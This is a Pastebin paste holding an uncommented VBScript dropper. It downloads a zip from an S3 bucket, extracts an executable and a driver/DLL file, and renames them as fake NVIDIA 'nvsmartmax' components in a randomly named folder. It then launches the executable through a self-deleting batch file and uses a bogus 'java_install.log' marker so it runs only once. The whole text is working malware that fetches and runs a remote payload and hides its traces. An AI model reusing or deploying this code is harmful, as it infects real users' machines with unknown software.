Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Dim ubase, randname, exerandom, deffolder, filesuccess, filezip, fileexe, filedll
- Set objShell = CreateObject( "WScript.Shell" )
- ubase = "https://s3.us-east-2.amazonaws.com/barrigudos/OIUWER89SDFSDFWER3242.zip"
- randname = getrandomstring()
- exerandom = "nvsmartmaxapp" + "-" + randname
- filezip = "OIUWER89SDFSDFWER3242.zip"
- deffolder = "C:\NV_" + randname + "\"
- filesuccess = objShell.ExpandEnvironmentStrings("%TEMP%") + "\java_install.log"
- fileexe = "nvsmartmaxapp.exe"
- filedll = "nvsmartmax.sys"
- filezp2 = "wPPuoXS.zip"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- If (objFSO.FileExists(filesuccess)) Then
- WScript.Quit
- End If
- If not (objFSO.FileExists(filezip)) Then
- Set objFile = objFSO.CreateTextFile(filesuccess, True)
- objFile.Write " "
- objFile.Close
- 'WScript.Echo msg
- dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
- dim bStrm: Set bStrm = createobject("Adodb.Stream")
- xHttp.Open "GET", ubase, False
- xHttp.Send
- with bStrm
- .type = 1
- .open
- .write xHttp.responseBody
- .savetofile objShell.ExpandEnvironmentStrings("%TEMP%") & "\" & filezip, 2
- end with
- WScript.Sleep 5000
- set objShellApp = CreateObject("Shell.Application")
- set FilesInZip=objShellApp.NameSpace(objShell.ExpandEnvironmentStrings("%TEMP%") & "\" & filezip).items
- objShellApp.NameSpace(objShell.ExpandEnvironmentStrings("%TEMP%")).CopyHere(FilesInZip)
- WScript.Sleep 5000
- objFSO.DeleteFile objShell.ExpandEnvironmentStrings("%TEMP%") & "\" & filezip
- objFSO.CreateFolder deffolder
- WScript.Sleep 3000
- objFSO.MoveFile objShell.ExpandEnvironmentStrings("%TEMP%") & "\" & fileexe, deffolder & exerandom & ".exe"
- objFSO.MoveFile objShell.ExpandEnvironmentStrings("%TEMP%") & "\" & filedll, deffolder & "nvsmartmax.dll"
- objFSO.MoveFile objShell.ExpandEnvironmentStrings("%TEMP%") & "\" & filezp2, deffolder & filezp2
- WScript.Sleep 5000
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objShell = CreateObject( "WScript.Shell" )
- outFile = objShell.ExpandEnvironmentStrings("%TEMP%") & "\" & randname & ".bat"
- Set objFile = objFSO.CreateTextFile(outFile,True)
- objFile.Write "@echo off" & vbCrLf
- objFile.Write "@cd " & deffolder & vbCrLf
- objFile.Write "start " & exerandom & ".exe" & vbCrLf
- objFile.Close
- objShell.Exec(objShell.ExpandEnvironmentStrings("%TEMP%") & "\" & randname & ".bat")
- WScript.Sleep 10000
- objFSO.DeleteFile objShell.ExpandEnvironmentStrings("%TEMP%") & "\" & randname & ".bat"
- Set objShell = Nothing
- Set objFSO = Nothing
- Set objShellApp = Nothing
- End If
- Function getrandomstring()
- Dim intMax, k, intValue, strChar, strName
- Const Chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
- intMax = 6
- Randomize()
- strName = ""
- For k = 1 To intMax
- intValue = Fix(62 * Rnd())
- strChar = Mid(Chars, intValue + 1, 1)
- Randomize()
- intValue = Fix(62 * Rnd())
- strChar = strChar & Mid(Chars, intValue + 1, 1)
- strName = strName & strChar
- If (k < 6) Then
- strName = strName & ""
- End If
- Next
- getrandomstring = strName
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement